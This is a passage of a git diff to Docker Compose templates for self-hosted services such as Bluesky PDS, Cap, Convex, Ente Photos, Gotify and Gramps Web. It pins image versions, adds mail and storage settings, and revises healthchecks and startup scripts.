'PDS_BLOBSTORE_DISK_LOCATION=${PDS_DATA_DIRECTORY:-/pds}/blocks' + - 'PDS_BLOB_UPLOAD_LIMIT=${PDS_BLOB_UPLOAD_LIMIT:-104857600}' + - 'PDS_DID_PLC_URL=${PDS_DID_PLC_URL:-https://plc.directory}' + - 'PDS_EMAIL_FROM_ADDRESS=${PDS_EMAIL_FROM_ADDRESS}' + - 'PDS_EMAIL_SMTP_URL=${PDS_EMAIL_SMTP_URL}' + - 'PDS_BSKY_APP_VIEW_URL=${PDS_BSKY_APP_VIEW_URL:-https://api.bsky.app}' + - 'PDS_BSKY_APP_VIEW_DID=${PDS_BSKY_APP_VIEW_DID:-did:web:api.bsky.app}' + - 'PDS_REPORT_SERVICE_URL=${PDS_REPORT_SERVICE_URL:-https://mod.bsky.app/xrpc/com.atproto.moderation.createReport}' + - 'PDS_REPORT_SERVICE_DID=${PDS_REPORT_SERVICE_DID:-did:plc:ar7c4by46qjdydhdevvrndac}' + - 'PDS_CRAWLERS=${PDS_CRAWLERS:-https://bsky.network}' + - 'LOG_ENABLED=${LOG_ENABLED:-true}' + command: | sh -c ' - echo "Installing curl, bash, and pdsadmin..." - apk add --no-cache curl bash && \ - curl -o /usr/local/bin/pdsadmin.sh https://raw.githubusercontent.com/bluesky-social/pds/main/pdsadmin.sh && \ - chmod +x /usr/local/bin/pdsadmin.sh && \ + set -euo pipefail + echo "Installing required packages and pdsadmin..." + apk add --no-cache openssl curl bash jq coreutils gnupg util-linux-misc >/dev/null + curl -o /usr/local/bin/pdsadmin.sh https://raw.githubusercontent.com/bluesky-social/pds/main/pdsadmin.sh + chmod 700 /usr/local/bin/pdsadmin.sh ln -sf /usr/local/bin/pdsadmin.sh /usr/local/bin/pdsadmin - - echo "Generating /pds/pds.env..." - printf "%s\n" \ - "SERVICE_FQDN_PDS_3000=$${SERVICE_FQDN_PDS_3000}" \ - "PDS_HOSTNAME=$${PDS_HOSTNAME}" \ - "PDS_JWT_SECRET=$${PDS_JWT_SECRET}" \ - "PDS_ADMIN_PASSWORD=$${PDS_ADMIN_PASSWORD}" \ - "PDS_ADMIN_EMAIL=$${PDS_ADMIN_EMAIL}" \ - "PDS_PLC_ROTATION_KEY_K256_PRIVATE_KEY_HEX=$${PDS_PLC_ROTATION_KEY_K256_PRIVATE_KEY_HEX}" \ - "PDS_DATA_DIRECTORY=$${PDS_DATA_DIRECTORY}" \ - "PDS_BLOBSTORE_DISK_LOCATION=$${PDS_DATA_DIRECTORY}/blocks" \ - "PDS_BLOB_UPLOAD_LIMIT=$${PDS_BLOB_UPLOAD_LIMIT}" \ - "PDS_DID_PLC_URL=$${PDS_DID_PLC_URL}" \ - "PDS_BSKY_APP_VIEW_URL=$${PDS_BSKY_APP_VIEW_URL}" \ - "PDS_BSKY_APP_VIEW_DID=$${PDS_BSKY_APP_VIEW_DID}" \ - "PDS_REPORT_SERVICE_URL=$${PDS_REPORT_SERVICE_URL}" \ - "PDS_REPORT_SERVICE_DID=$${PDS_REPORT_SERVICE_DID}" \ - "PDS_CRAWLERS=$${PDS_CRAWLERS}" \ - "LOG_ENABLED=$${LOG_ENABLED}" \ - > /pds/pds.env - - echo "Launching PDS..." + echo "Creating an empty pds.env file so pdsadmin works..." + touch ${PDS_DATA_DIRECTORY}/pds.env + echo "Launching PDS, enjoy!..." exec node --enable-source-maps index.js ' - healthcheck: - test: ["CMD", "wget", "--spider", "http://127.0.0.1:3000/xrpc/_health"] - interval: 2s + test: + - CMD + - wget + - '--spider' + - 'http://127.0.0.1:3000/xrpc/_health' + interval: 5s timeout: 10s retries: 10 diff --git a/templates/compose/cap.yaml b/templates/compose/cap.yaml new file mode 100644 index 000000000..ab8197c02 --- /dev/null +++ b/templates/compose/cap.yaml @@ -0,0 +1,75 @@ +# documentation: https://cap.so +# slogan: Cap is the open source alternative to Loom. Lightweight, powerful, and cross-platform. Record and share in seconds. +# tags: cap,loom,open,source,low,code +# logo: svgs/cap.svg +# port: 5679 + +# Storage Configuration: +# Option 1: Remote S3-compatible storage (AWS S3, Cloudflare R2, etc.) +# Set these environment variables: +# - CAP_AWS_ACCESS_KEY: Your S3/R2 access key +# - CAP_AWS_SECRET_KEY: Your S3/R2 secret key +# - CAP_AWS_BUCKET: Your S3/R2 bucket name +# - CAP_AWS_REGION: Your S3/R2 region (e.g., us-east-1, auto for R2) +# - CAP_AWS_ENDPOINT: Your S3/R2 endpoint URL +# - S3_PUBLIC_ENDPOINT: Public endpoint for your bucket (same as CAP_AWS_ENDPOINT for most cases) +# - S3_INTERNAL_ENDPOINT: Internal endpoint (same as CAP_AWS_ENDPOINT for most cases) +# - S3_PATH_STYLE: true for R2/most S3-compatible, false for AWS S3 virtual-hosted style +# +# Option 2: Local MinIO storage +# Deploy MinIO as a separate service in the same network and set: +# - CAP_AWS_ACCESS_KEY: MinIO root user +# - CAP_AWS_SECRET_KEY: MinIO root password +# - CAP_AWS_BUCKET: Your bucket name (e.g., capso) +# - CAP_AWS_REGION: us-east-1 (or any region) +# - CAP_AWS_ENDPOINT: http://minio:9000 (internal MinIO endpoint) +# - S3_PUBLIC_ENDPOINT: http://your-minio-domain:9000 (public MinIO endpoint) +# - S3_INTERNAL_ENDPOINT: http://minio:9000 (internal MinIO endpoint) +# - S3_PATH_STYLE: true + +services: + cap-web: + image: 'ghcr.io/capsoftware/cap-web:latest' + environment: + - SERVICE_URL_CAP_3000 + - 'DATABASE_URL=mysql://$SERVICE_USER_MYSQL:$SERVICE_PASSWORD_MYSQL@cap-db:3306/${MYSQL_DATABASE:-planetscale}' + - 'WEB_URL=${SERVICE_URL_CAP}' + - 'NEXTAUTH_URL=${SERVICE_URL_CAP}' + - 'DATABASE_ENCRYPTION_KEY=${SERVICE_PASSWORD_64_DATABASEENCRYPTIONKEY}' + - 'NEXTAUTH_SECRET=${SERVICE_PASSWORD_64_NEXTAUTHSECRET}' + - 'CAP_AWS_ACCESS_KEY=${CAP_AWS_ACCESS_KEY:?}' + - 'CAP_AWS_SECRET_KEY=${CAP_AWS_SECRET_KEY:?}' + - 'CAP_AWS_BUCKET=${CAP_AWS_BUCKET:?}' + - 'CAP_AWS_REGION=${CAP_AWS_REGION:?}' + - 'S3_PUBLIC_ENDPOINT=${S3_PUBLIC_ENDPOINT:?}' + - 'S3_INTERNAL_ENDPOINT=${S3_INTERNAL_ENDPOINT:?}' + - 'NEXT_RUNTIME=nodejs' + - 'S3_PATH_STYLE=${S3_PATH_STYLE:-true}' + - 'CAP_AWS_ENDPOINT=${CAP_AWS_ENDPOINT:?}' + depends_on: + cap-db: + condition: service_healthy + + cap-db: + image: 'mysql:8.0' + environment: + - 'MYSQL_USER=${SERVICE_USER_MYSQL}' + - 'MYSQL_PASSWORD=${SERVICE_PASSWORD_MYSQL}' + - 'MYSQL_DATABASE=${MYSQL_DATABASE:-planetscale}' + - 'MYSQL_ROOT_PASSWORD=${SERVICE_PASSWORD_MYSQLROOT}' + - 'MYSQL_ALLOW_EMPTY_PASSWORD=${MYSQL_ALLOW_EMPTY_PASSWORD:-yes}' + command: + - '--max_connections=1000' + - '--default-authentication-plugin=mysql_native_password' + healthcheck: + test: + - CMD + - mysqladmin + - ping + - '-h' + - 127.0.0.1 + interval: 10s + timeout: 10s + retries: 5 + volumes: + - 'cap_db:/var/lib/mysql' \ No newline at end of file diff --git a/templates/compose/convex.yaml b/templates/compose/convex.yaml index 0b948b19a..ad8728ee1 100644 --- a/templates/compose/convex.yaml +++ b/templates/compose/convex.yaml @@ -1,4 +1,4 @@ -# documentation: https://docs.convex.dev/ +# documentation: https://github.com/get-convex/convex-backend/blob/main/self-hosted/README.md # slogan: Convex is the open-source reactive database for app developers. # category: backend # tags: database, reactive, database, ai, agents, chatbot, api, team, bot, flows @@ -7,7 +7,7 @@ services: backend: - image: ghcr.io/get-convex/convex-backend:5143fec81f146ca67495c12c6b7a15c5802c37e2 + image: ghcr.io/get-convex/convex-backend:00bd92723422f3bff968230c94ccdeb8c1719832 volumes: - data:/convex/data environment: @@ -16,22 +16,42 @@ services: - INSTANCE_SECRET=${SERVICE_HEX_32_SECRET} - CONVEX_RELEASE_VERSION_DEV=${CONVEX_RELEASE_VERSION_DEV:-} - ACTIONS_USER_TIMEOUT_SECS=${ACTIONS_USER_TIMEOUT_SECS:-} - - CONVEX_CLOUD_ORIGIN=${SERVICE_URL_CONVEX_3210} - - CONVEX_SITE_ORIGIN=${SERVICE_URL_CONVEX_3211} + # URL of the Convex API as accessed by the client/frontend. + - CONVEX_CLOUD_ORIGIN=${SERVICE_URL_CONVEX} + # URL of Convex HTTP actions as accessed by the client/frontend. + - CONVEX_SITE_ORIGIN=${SERVICE_URL_BACKEND} - DATABASE_URL=${DATABASE_URL:-} - - DISABLE_BEACON=${DISABLE_BEACON:-} - - REDACT_LOGS_TO_CLIENT=${REDACT_LOGS_TO_CLIENT:-} - - CONVEX_SELF_HOSTED_URL=${SERVICE_URL_CONVEX_6791} + - DISABLE_BEACON=${DISABLE_BEACON:?false} + - REDACT_LOGS_TO_CLIENT=${REDACT_LOGS_TO_CLIENT:?false} + - DO_NOT_REQUIRE_SSL=${DO_NOT_REQUIRE_SSL:?true} + - POSTGRES_URL=${POSTGRES_URL:-} + - MYSQL_URL=${MYSQL_URL:-} + - RUST_LOG=${RUST_LOG:-info} + - RUST_BACKTRACE=${RUST_BACKTRACE:-} + - AWS_REGION=${AWS_REGION:-} + - AWS_ACCESS_KEY_ID=${AWS_ACCESS_KEY_ID:-} + - AWS_SECRET_ACCESS_KEY=${AWS_SECRET_ACCESS_KEY:-} + - AWS_SESSION_TOKEN=${AWS_SESSION_TOKEN:-} + - AWS_S3_FORCE_PATH_STYLE=${AWS_S3_FORCE_PATH_STYLE:-} + - AWS_S3_DISABLE_SSE=${AWS_S3_DISABLE_SSE:-} + - AWS_S3_DISABLE_CHECKSUMS=${AWS_S3_DISABLE_CHECKSUMS:-} + - S3_STORAGE_EXPORTS_BUCKET=${S3_STORAGE_EXPORTS_BUCKET:-} + - S3_STORAGE_SNAPSHOT_IMPORTS_BUCKET=${S3_STORAGE_SNAPSHOT_IMPORTS_BUCKET:-} + - S3_STORAGE_MODULES_BUCKET=${S3_STORAGE_MODULES_BUCKET:-} + - S3_STORAGE_FILES_BUCKET=${S3_STORAGE_FILES_BUCKET:-} + - S3_STORAGE_SEARCH_BUCKET=${S3_STORAGE_SEARCH_BUCKET:-} + - S3_ENDPOINT_URL=${S3_ENDPOINT_URL:-} healthcheck: test: curl -f http://127.0.0.1:3210/version interval: 5s - start_period: 5s + start_period: 10s dashboard: - image: ghcr.io/get-convex/convex-dashboard:5143fec81f146ca67495c12c6b7a15c5802c37e2 + image: ghcr.io/get-convex/convex-dashboard:33cef775a8a6228cbacee4a09ac2c4073d62ed13 environment: - SERVICE_URL_CONVEX_6791 - - NEXT_PUBLIC_DEPLOYMENT_URL=$SERVICE_URL_BACKEND_3210 + # URL of the Convex API as accessed by the dashboard (browser). + - NEXT_PUBLIC_DEPLOYMENT_URL=${SERVICE_URL_BACKEND} depends_on: backend: condition: service_healthy diff --git a/templates/compose/docmost.yaml b/templates/compose/docmost.yaml index 8e982913c..4a996973e 100644 --- a/templates/compose/docmost.yaml +++ b/templates/compose/docmost.yaml @@ -19,6 +19,15 @@ services: - APP_URL=$SERVICE_URL_DOCMOST_3000 - DATABASE_URL=postgresql://$SERVICE_USER_POSTGRES:$SERVICE_PASSWORD_POSTGRES@postgresql/docmost?schema=public - REDIS_URL=redis://redis:6379 + - MAIL_DRIVER=${MAIL_DRIVER} + - SMTP_HOST=${SMTP_HOST} + - SMTP_PORT=${SMTP_PORT} + - SMTP_USERNAME=${SMTP_USERNAME} + - SMTP_PASSWORD=${SMTP_PASSWORD} + - SMTP_SECURE=${SMTP_SECURE} + - MAIL_FROM_ADDRESS=${MAIL_FROM_ADDRESS} + - MAIL_FROM_NAME=${MAIL_FROM_NAME} + - POSTMARK_TOKEN=${POSTMARK_TOKEN} volumes: - "docmost:/app/data/storage" healthcheck: diff --git a/templates/compose/documenso.yaml b/templates/compose/documenso.yaml index a609b6b3d..8536945ab 100644 --- a/templates/compose/documenso.yaml +++ b/templates/compose/documenso.yaml @@ -7,7 +7,7 @@ services: documenso: - image: documenso/documenso + image: documenso/documenso:v1.12.10 # Released at Oct 9, 2025 depends_on: database: condition: service_healthy @@ -18,6 +18,7 @@ services: - NEXT_PRIVATE_ENCRYPTION_KEY=${SERVICE_BASE64_ENCRYPTIONKEY} - NEXT_PRIVATE_ENCRYPTION_SECONDARY_KEY=${SERVICE_BASE64_SECONDARYENCRYPTIONKEY} - NEXT_PUBLIC_WEBAPP_URL=${SERVICE_URL_DOCUMENSO} + - NEXT_PRIVATE_RESEND_API_KEY=${NEXT_PRIVATE_RESEND_API_KEY} - NEXT_PRIVATE_SMTP_TRANSPORT=${NEXT_PRIVATE_SMTP_TRANSPORT} - NEXT_PRIVATE_SMTP_HOST=${NEXT_PRIVATE_SMTP_HOST} - NEXT_PRIVATE_SMTP_PORT=${NEXT_PRIVATE_SMTP_PORT} diff --git a/templates/compose/ente-photos-with-s3.yaml b/templates/compose/ente-photos-with-s3.yaml index 96d74b1a8..932745f82 100644 --- a/templates/compose/ente-photos-with-s3.yaml +++ b/templates/compose/ente-photos-with-s3.yaml @@ -7,107 +7,126 @@ services: museum: - image: ghcr.io/ente-io/server:latest + image: 'ghcr.io/ente-io/server:613c6a96390d7a624cf30b946955705d632423cc' # Released at 2025-09-14T22:16:37-07:00 environment: - SERVICE_URL_MUSEUM_8080 - - ENTE_HTTP_USE_TLS=${ENTE_HTTP_USE_TLS:-false} - - - ENTE_APPS_PUBLIC_ALBUMS=${SERVICE_URL_WEB_3002} - - ENTE_APPS_CAST=${SERVICE_URL_WEB_3004} - - ENTE_APPS_ACCOUNTS=${SERVICE_URL_WEB_3001} - - - ENTE_DB_HOST=${ENTE_DB_HOST:-postgres} - - ENTE_DB_PORT=${ENTE_DB_PORT:-5432} - - ENTE_DB_NAME=${ENTE_DB_NAME:-ente_db} - - ENTE_DB_USER=${SERVICE_USER_POSTGRES:-pguser} - - ENTE_DB_PASSWORD=${SERVICE_PASSWORD_POSTGRES} - - - ENTE_KEY_ENCRYPTION=${SERVICE_REALBASE64_ENCRYPTION} - - ENTE_KEY_HASH=${SERVICE_REALBASE64_64_HASH} - - - ENTE_JWT_SECRET=${SERVICE_REALBASE64_JWT} - - - ENTE_INTERNAL_ADMIN=${ENTE_INTERNAL_ADMIN:-1580559962386438} - - ENTE_INTERNAL_DISABLE_REGISTRATION=${ENTE_INTERNAL_DISABLE_REGISTRATION:-false} - - # S3/MinIO configuration - - S3_ARE_LOCAL_BUCKETS=true - - S3_USE_PATH_STYLE_URLS=true - - S3_B2_EU_CEN_KEY=${SERVICE_USER_MINIO} - - S3_B2_EU_CEN_SECRET=${SERVICE_PASSWORD_MINIO} - - S3_B2_EU_CEN_ENDPOINT=${SERVICE_URL_MINIO_3200} - - S3_B2_EU_CEN_REGION=eu-central-2 - - S3_B2_EU_CEN_BUCKET=b2-eu-cen + - ENTE_DB_HOST=postgres + - ENTE_DB_PORT=5432 + - 'ENTE_DB_NAME=${POSTGRES_DB:-ente_db}' + - 'ENTE_DB_USER=${SERVICE_USER_POSTGRES}' + - 'ENTE_DB_PASSWORD=${SERVICE_PASSWORD_POSTGRES}' + - 'ENTE_HTTP_USE_TLS=${ENTE_HTTP_USE_TLS:-false}' + - ENTE_S3_ARE_LOCAL_BUCKETS=false + - ENTE_S3_USE_PATH_STYLE_URLS=true + - 'ENTE_S3_B2_EU_CEN_KEY=${SERVICE_USER_MINIO}' + - 'ENTE_S3_B2_EU_CEN_SECRET=${SERVICE_PASSWORD_MINIO}' + - 'ENTE_S3_B2_EU_CEN_ENDPOINT=${SERVICE_FQDN_MINIO_9000}' + - ENTE_S3_B2_EU_CEN_REGION=eu-central-2 + - ENTE_S3_B2_EU_CEN_BUCKET=b2-eu-cen + - 'ENTE_KEY_ENCRYPTION=${SERVICE_REALBASE64_ENCRYPTION}' + - 'ENTE_KEY_HASH=${SERVICE_REALBASE64_64_HASH}' + - 'ENTE_JWT_SECRET=${SERVICE_REALBASE64_JWT}' + - 'ENTE_INTERNAL_ADMIN=${ENTE_INTERNAL_ADMIN:-1580559962386438}' + - 'ENTE_INTERNAL_DISABLE_REGISTRATION=${ENTE_INTERNAL_DISABLE_REGISTRATION:-false}' + - 'ENTE_SMTP_HOST=${ENTE_SMTP_HOST:-smtp.gmail.com}' + - 'ENTE_SMTP_PORT=${ENTE_SMTP_PORT:-587}' + - 'ENTE_SMTP_USERNAME=${ENTE_SMTP_USERNAME}' + - 'ENTE_SMTP_PASSWORD=${ENTE_SMTP_PASSWORD}' + - 'ENTE_SMTP_EMAIL=${ENTE_SMTP_EMAIL}' + - 'ENTE_SMTP_SENDER_NAME=${ENTE_SMTP_SENDER_NAME}' + - 'ENTE_SMTP_ENCRYPTION=${ENTE_SMTP_ENCRYPTION:-tls}' volumes: - - museum-data:/data - - museum-config:/config + - 'museum-data:/data' + - 'museum-config:/config' depends_on: postgres: condition: service_healthy minio: condition: service_started healthcheck: - test: ["CMD", "wget", "-qO-", "http://127.0.0.1:8080/ping"] - interval: 5s - timeout: 5s - retries: 10 + test: + - CMD + - wget + - '--spider' + - 'http://127.0.0.1:8080/ping' + interval: 30s + timeout: 10s + retries: 3 web: - image: ghcr.io/ente-io/web + image: 'ghcr.io/ente-io/web:ca03165f5e7f2a50105e6e40019c17ae6cdd934f' # Released at 2025-10-08T00:57:05-07:00 environment: - SERVICE_URL_WEB_3000 - - ENTE_API_ORIGIN=${SERVICE_URL_MUSEUM} - - ENTE_ALBUMS_ORIGIN=${SERVICE_URL_WEB_3002} + - 'ENTE_API_ORIGIN=${SERVICE_URL_MUSEUM}' + healthcheck: + test: + - CMD + - curl + - '--fail' + - 'http://localhost:3000' + interval: 30s + timeout: 10s + retries: 3 + start_period: 10s - healthcheck: - test: ["CMD", "curl", "--fail", "http://127.0.0.1:3000"] - interval: 5s - timeout: 5s - retries: 10 postgres: - image: postgres:15-alpine + image: 'postgres:15-alpine' environment: - - POSTGRES_USER=${SERVICE_USER_POSTGRES} - - POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRES} - - POSTGRES_DB=${POSTGRES_DB:-ente_db} + - 'POSTGRES_USER=${SERVICE_USER_POSTGRES}' + - 'POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRES}' + - 'POSTGRES_DB=${POSTGRES_DB:-ente_db}' volumes: - - postgres-data:/var/lib/postgresql/data + - 'postgres-data:/var/lib/postgresql/data' healthcheck: - test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER} -d ${POSTGRES_DB}"] - interval: 5s + test: + - CMD-SHELL + - 'pg_isready -U ${SERVICE_USER_POSTGRES} -d ${POSTGRES_DB:-ente_db}' + interval: 10s timeout: 5s - retries: 10 + retries: 5 minio: - image: quay.io/minio/minio:latest + image: 'quay.io/minio/minio:RELEASE.2025-09-07T16-13-09Z' # Released at 2025-09-07T16-13-09Z + command: 'server /data --console-address ":9001"' environment: - - SERVICE_URL_MINIO_9000 - - MINIO_ROOT_USER=${SERVICE_USER_MINIO} - - MINIO_ROOT_PASSWORD=${SERVICE_PASSWORD_MINIO} - command: server /data --address ":9000" --console-address ":9001" + - MINIO_SERVER_URL=$MINIO_SERVER_URL + - MINIO_BROWSER_REDIRECT_URL=$MINIO_BROWSER_REDIRECT_URL + - MINIO_ROOT_USER=$SERVICE_USER_MINIO + - MINIO_ROOT_PASSWORD=$SERVICE_PASSWORD_MINIO volumes: - - minio-data:/data + - 'minio-data:/data' healthcheck: - test: ["CMD", "mc", "ready", "local"] + test: + - CMD + - mc + - ready + - local interval: 5s timeout: 20s retries: 10 - + minio-init: - image: minio/mc:latest - exclude_from_hc: true - restart: no + image: 'minio/mc:RELEASE.2025-08-13T08-35-41Z' # Released at 2025-08-13T08-35-41Z depends_on: minio: - condition: service_healthy + condition: service_started + restart: on-failure + exclude_from_hc: true environment: - - MINIO_ROOT_USER=${SERVICE_USER_MINIO} - - MINIO_ROOT_PASSWORD=${SERVICE_PASSWORD_MINIO} - entrypoint: > + - 'MINIO_ROOT_USER=${SERVICE_USER_MINIO}' + - 'MINIO_ROOT_PASSWORD=${SERVICE_PASSWORD_MINIO}' + - 'MINIO_CORS_URLS=$SERVICE_URL_MUSEUM,$SERVICE_URL_WEB' + entrypoint: |- /bin/sh -c " - mc alias set minio http://minio:9000 $${MINIO_ROOT_USER} $${MINIO_ROOT_PASSWORD}; - mc mb minio/b2-eu-cen --ignore-existing; - mc mb minio/wasabi-eu-central-2-v3 --ignore-existing; - mc mb minio/scw-eu-fr-v3 --ignore-existing; - echo 'MinIO buckets created successfully'; - " + echo \"MINIO_CORS_URLS: \$${MINIO_CORS_URLS}\"; + sleep 5; + until mc alias set minio http://minio:9000 \$${MINIO_ROOT_USER} \$${MINIO_ROOT_PASSWORD}; do + echo 'Waiting for MinIO...'; + sleep 2; + done; + mc admin config set minio api cors_allow_origin='$MINIO_CORS_URLS' || true; + mc mb minio/b2-eu-cen --ignore-existing; + mc mb minio/wasabi-eu-central-2-v3 --ignore-existing; + mc mb minio/scw-eu-fr-v3 --ignore-existing; + echo 'MinIO buckets and CORS configured'; + " \ No newline at end of file diff --git a/templates/compose/ente-photos.yaml b/templates/compose/ente-photos.yaml index 851e13563..a765e4a7e 100644 --- a/templates/compose/ente-photos.yaml +++ b/templates/compose/ente-photos.yaml @@ -39,6 +39,14 @@ services: - ENTE_S3_B2_EU_CEN_REGION=${S3_STORAGE_REGION:-us-east-1} - ENTE_S3_B2_EU_CEN_BUCKET=${S3_STORAGE_BUCKET:?} + - ENTE_SMTP_HOST=${ENTE_SMTP_HOST:-smtp.gmail.com} + - ENTE_SMTP_PORT=${ENTE_SMTP_PORT:-587} + - ENTE_SMTP_USERNAME=${ENTE_SMTP_USERNAME} + - ENTE_SMTP_PASSWORD=${ENTE_SMTP_PASSWORD} + - ENTE_SMTP_EMAIL=${ENTE_SMTP_EMAIL} + - ENTE_SMTP_SENDER_NAME=${ENTE_SMTP_SENDER_NAME} + - ENTE_SMTP_ENCRYPTION=${ENTE_SMTP_ENCRYPTION:-tls} + depends_on: postgres: condition: service_healthy @@ -77,4 +85,3 @@ services: interval: 5s timeout: 5s retries: 10 - diff --git a/templates/compose/filebrowser.yaml b/templates/compose/filebrowser.yaml index 2cb17d501..e9c34b7ca 100644 --- a/templates/compose/filebrowser.yaml +++ b/templates/compose/filebrowser.yaml @@ -29,8 +29,3 @@ services: "address": "0.0.0.0", "port": 80 } - healthcheck: - test: ["CMD", "curl", "-f", "http://127.0.0.1:80"] - interval: 2s - timeout: 10s - retries: 15 diff --git a/templates/compose/gotify.yaml b/templates/compose/gotify.yaml new file mode 100644 index 000000000..10e8264f5 --- /dev/null +++ b/templates/compose/gotify.yaml @@ -0,0 +1,29 @@ +# documentation: https://gotify.net/docs/install +# slogan: Gotify is an open-source self-hosted notification server. +# category: productivity +# tags: productivity,notification,collaboration +# logo: svgs/gotify.png +# port: 80 + +services: + gotify: + image: gotify/server:2.7.3 + environment: + - SERVICE_URL_GOTIFY_80 + - GOTIFY_DEFAULTUSER_NAME=${GOTIFY_USERNAME:-admin} + - GOTIFY_DEFAULTUSER_PASS=${SERVICE_PASSWORD_GOTIFY} + - GOTIFY_DATABASE_DIALECT=${GOTIFY_DATABASE_DIALECT:-sqlite3} + - GOTIFY_DATABASE_CONNECTION=${GOTIFY_DATABASE_CONNECTION:-data/gotify.db} + - GOTIFY_PASSSTRENGTH=${GOTIFY_PASSSTRENGTH:-10} + - GOTIFY_UPLOADEDIMAGESDIR=${GOTIFY_UPLOADEDIMAGESDIR:-data/images} + - GOTIFY_PLUGINSDIR=${GOTIFY_PLUGINSDIR:-data/plugins} + - GOTIFY_SERVER_PORT=${GOTIFY_SERVER_PORT:-80} + - GOTIFY_REGISTRATION=${GOTIFY_REGISTRATION:-false} + volumes: + - 'gotify-data:/app/data' + healthcheck: + test: ["CMD", "curl", "-f", "http://127.0.0.1:80/health"] + interval: 5s + timeout: 20s + retries: 10 + \ No newline at end of file diff --git a/templates/compose/gramps-web.yaml b/templates/compose/gramps-web.yaml new file mode 100644 index 000000000..fa3b02c6f --- /dev/null +++ b/templates/compose/gramps-web.yaml @@ -0,0 +1,59 @@ +# documentation: https://www.grampsweb.org/install_setup/setup/ +# slogan: Open Source Online Genealogy System. +# category: family +# tags: family, genealogy, personal +# logo: svgs/gramps-web.svg +# port: 5000 + +services: + grampsweb: + image: ghcr.io/gramps-project/grampsweb:25.9.0 + environment: + - SERVICE_URL_GRAMPSWEB_5000 + - GRAMPSWEB_TREE=${GRAMPSWEB_TREE:-Gramps Web} # will create a new tree if not exists + - GRAMPSWEB_CELERY_CONFIG__broker_url=redis://grampsweb_redis:6379/0 + - GRAMPSWEB_CELERY_CONFIG__result_backend=redis://grampsweb_redis:6379/0 + - GRAMPSWEB_RATELIMIT_STORAGE_URI=redis://grampsweb_redis:6379/1 + - GUNICORN_NUM_WORKERS=${GUNICORN_NUM_WORKERS:-2} + depends_on: + - grampsweb_redis + volumes: &volumes + - gramps_users:/app/users # persist user database + - gramps_index:/app/indexdir # persist search index + - gramps_thumb_cache:/app/thumbnail_cache # persist thumbnails + - gramps_cache:/app/cache # persist export and report caches + - gramps_secret:/app/secret # persist flask secret + - gramps_db:/root/.gramps/grampsdb # persist Gramps database + - gramps_media:/app/media # persist media files + - gramps_tmp:/tmp + healthcheck: + test: wget -O - http://localhost:5000 > /dev/null 2>&1 + interval: 5s + timeout: 10s + retries: 3 + + grampsweb_celery: + image: ghcr.io/gramps-project/grampsweb:25.9.0 + environment: + - GRAMPSWEB_TREE=${GRAMPSWEB_TREE:-Gramps Web} # will create a new tree if not exists + - GRAMPSWEB_CELERY_CONFIG__broker_url=redis://grampsweb_redis:6379/0 + - GRAMPSWEB_CELERY_CONFIG__result_backend=redis://grampsweb_redis:6379/0 + - GRAMPSWEB_RATELIMIT_STORAGE_URI=redis://grampsweb_redis:6379/1 + depends_on: + - grampsweb_redis + volumes: + <<: *volumes + command: celery -A gramps_webapi.celery worker --loglevel=INFO --concurrency=2 + healthcheck: + test: SECRET_KEY="$(cat secret/secret)" celery -A gramps_webapi.celery status || exit 1 + interval: 5s + timeout: 10s + retries: 3 + + grampsweb_redis: + image: docker.io/library/redis:7.2.4-alpine + healthcheck: + test: redis-cli ping | grep PONG + interval: 5s + timeout: 10s + retries: 3 diff --git a/templates/compose/homarr.yaml b/templates/compose/homarr.yaml index 32d198b78..117fd8738 100644 --- a/templates/compose/homarr.yaml +++ b/templates/compose/homarr.yaml @@ -7,14 +7,14 @@ services: homarr: - image: ghcr.io/ajnart/homarr:latest + image: ghcr.io/homarr-labs/homarr:v1.40.0 environment: - SERVICE_URL_HOMARR_7575 + - SERVICE_HEX_32_HOMARR + - 'SECRET_ENCRYPTION_KEY=${SERVICE_HEX_32_HOMARR}' volumes: - /var/run/docker.sock:/var/run/docker.sock - - ./homarr/configs:/app/data/configs - - ./homarr/icons:/app/public/icons - - ./homarr/data:/data + - ./homarr/appdata:/appdata healthcheck: test: ["CMD", "wget", "-q", "--spider", "http://127.0.0.1:7575"] interval: 5s diff --git a/templates/compose/lobe-chat.yaml b/templates/compose/lobe-chat.yaml new file mode 100644 index 000000000..859f617e3 --- /dev/null +++ b/templates/compose/lobe-chat.yaml @@ -0,0 +1,22 @@ +# documentation: https://github.com/lobehub/lobe-chat?tab=readme-ov-file#b-deploying-with-docker +# slogan: An open-source, modern-design AI chat framework. +# category: ai +# tags: ai, chat, openai, llm, chatbot +# logo: svgs/lobe-chat.png +# port: 3210 + +services: + lobe-chat: + image: "lobehub/lobe-chat:1.135.5" + environment: + - SERVICE_URL_LOBECHAT_3210 + - OPENAI_API_KEY=${OPENAI_API_KEY} + - OPENAI_PROXY_URL=${OPENAI_BASE_URL:-https://api.openai.com/v1} + - ACCESS_CODE=${SERVICE_PASSWORD_ACCESSCODE} + healthcheck: + test: + - CMD-SHELL + - "wget -qO- http://localhost:3210/ || exit 1" + interval: 5s + timeout: 20s + retries: 10 diff --git a/templates/compose/mattermost.yaml b/templates/compose/mattermost.yaml index f55a3639d..94aca3ac1 100644 --- a/templates/compose/mattermost.yaml +++ b/templates/compose/mattermost.yaml @@ -10,12 +10,12 @@ services: image: mattermost/mattermost-team-edition:release-10 platform: linux/amd64 volumes: - - 'mattermost-data-config:/mattermost/config:rw' - - 'mattermost-data-data:/mattermost/data:rw' - - 'mattermost-data-logs:/mattermost/logs:rw' - - 'mattermost-data-plugins:/mattermost/plugins:rw' - - 'mattermost-data-client-plugins:/mattermost/client/plugins:rw' - - 'mattermost-data-bleve-indexes:/mattermost/bleve-indexes:rw' + - "mattermost-data-config:/mattermost/config:rw" + - "mattermost-data-data:/mattermost/data:rw" + - "mattermost-data-logs:/mattermost/logs:rw" + - "mattermost-data-plugins:/mattermost/plugins:rw" + - "mattermost-data-client-plugins:/mattermost/client/plugins:rw" + - "mattermost-data-bleve-indexes:/mattermost/bleve-indexes:rw" environment: - SERVICE_URL_MATTERMOST_8065 - MM_SERVICESETTINGS_SITEURL=${SERVICE_URL_MATTERMOST} @@ -26,11 +26,6 @@ services: depends_on: postgres: condition: service_healthy - healthcheck: - test: ["CMD", "curl", "-f", "http://127.0.0.1:8065"] - interval: 5s - timeout: 20s - retries: 10 postgres: image: postgres:16-alpine diff --git a/templates/compose/moodle.yaml b/templates/compose/moodle.yaml index 3a8e02478..41b7916b9 100644 --- a/templates/compose/moodle.yaml +++ b/templates/compose/moodle.yaml @@ -18,9 +18,18 @@ services: - 